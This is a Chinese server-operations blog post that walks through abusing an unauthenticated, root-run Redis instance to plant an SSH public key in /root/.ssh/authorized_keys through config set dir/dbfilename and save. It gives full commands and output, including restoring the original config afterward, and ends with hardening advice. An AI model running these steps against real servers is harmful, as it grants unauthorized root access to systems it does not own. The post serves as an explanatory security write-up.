Rootop 服务器运维与web架构

利用Redis配置不当的漏洞对linux服务器root提权体验

文章来自:https://www.huangdc.com/443 修改并整理

redis安装后默认没有访问密码,但是默认监听在127.0.0.1地址,远程客户端无法远程访问。暂无法构成威胁。
如果监听在0.0.0.0的话,就可以利用下面“漏洞”了。

原理就是修改redis的持久化文件路径及数据文件实现秘钥连接。
有一个前提条件是 redis必须是用root用户启动的(才有权限往/root/.ssh写)。

# 运行ssh-keygen -t rsa生成秘钥 将公钥保存到另外一个文件 mypubkey.txt

[root@vm200-78 ~]# ssh-keygen -t rsa
[root@vm200-78 ~]# ll /root/.ssh/
总计 12
-rw------- 1 root root 1675 07-19 16:56 id_rsa
-rw-r--r-- 1 root root 405 07-19 16:56 id_rsa.pub
-rw-r--r-- 1 root root 1974 2015-11-18 known_hosts

# 加换行,目的是为了形成正确的秘钥文件格式 (据我所知应该是一行一个公钥)。

[root@vm200-78 ~]# (echo -e "\n";cat /root/.ssh/id_rsa.pub;echo -e "\n") > mypubkey.txt
[root@vm200-78 ~]# cat mypubkey.txt
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvZGEjiEH+TlsvM+wctETOyF9A6QobMteoR47LYk6KFKwcHBvSdJs5UEp62Z9pZWpqaew8d8SV/d9FzhOrNilMXndpjZBDwQmq11MWforei4VPGF8UVUO4o4oleUkg3H7wGrXBQHEOLZnMCQSdql+Xe8eHUqXAMYoU+a6QPz1dEqF4/6r0n+f2QUMt+gTadg8ZiHTvyx5HI9ZCTuGJ8ulNG/qwd1KsOaJJgdFNq5OYg4izV1U6JnGju9yOFWNYtWrGUAAbH0Pv9ylmRq+4R2xdj5iEbXma2VTZsMl6XPx12ZXJCcdS4u8NJExTgCjMRvB01UyFva3pETdgNDOF5fM6Q== root@vm200-78.boyaa.com

# 在远程服务器 192.168.203.78 将公钥以key值的形式写入redis

[root@vm200-78 ~]# cat mypubkey.txt |redis-cli -h 192.168.203.224 -p 6379 -x set mypubkey
OK
[root@vm200-78 ~]# redis-cli -h 192.168.203.224 -p 6379
redis 192.168.203.224:6379> keys *
1) "mypubkey"
2) "huangdc"
redis 192.168.203.224:6379> get mypubkey
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvZGEjiEH+TlsvM+wctETOyF9A6QobMteoR47LYk6KFKwcHBvSdJs5UEp62Z9pZWpqaew8d8SV/d9FzhOrNilMXndpjZBDwQmq11MWforei4VPGF8UVUO4o4oleUkg3H7wGrXBQHEOLZnMCQSdql+Xe8eHUqXAMYoU+a6QPz1dEqF4/6r0n+f2QUMt+gTadg8ZiHTvyx5HI9ZCTuGJ8ulNG/qwd1KsOaJJgdFNq5OYg4izV1U6JnGju9yOFWNYtWrGUAAbH0Pv9ylmRq+4R2xdj5iEbXma2VTZsMl6XPx12ZXJCcdS4u8NJExTgCjMRvB01UyFva3pETdgNDOF5fM6Q== root@vm200-78.boyaa.com\n\n\n"

# 查看当前 redis数据存放目录

redis 192.168.203.224:6379> config get dir
1) "dir"
2) "/data/nosql/redis_6379"

# 修改 redis 数据存放目录

redis 192.168.203.224:6379> config set dir /root/.ssh/
OK

# 查看 redis 数据存放文件

redis 192.168.203.224:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"

# 修改redis数据存放文件

redis 192.168.203.224:6379> config set dbfilename "authorized_keys"
OK

# 保存 key

redis 192.168.203.224:6379> save
OK

# 恢复原先redis配置

redis 192.168.203.224:6379> config set dir "/data/nosql/redis_6379"
OK
redis 192.168.203.224:6379> config set dbfilename "dump.rdb"
OK
redis 192.168.203.224:6379> save
OK

## 这样就把公钥写进目标主机的/root/.ssh下,并且名称为 authorized_keys,这样就完成了远程无密码访问了

防范方法:
1、根据需求绑定127.0.0.1或者0.0.0.0
2、redis加密码访问
3、普通用户启动redis
4、修改默认redis端口,防止批量扫描

原创文章,转载请注明。本文链接地址: https://www.rootop.org/pages/4001.html

作者:Venus

专注于 服务器运维与web架构 E-mail:venus#rootop.org

评论已关闭。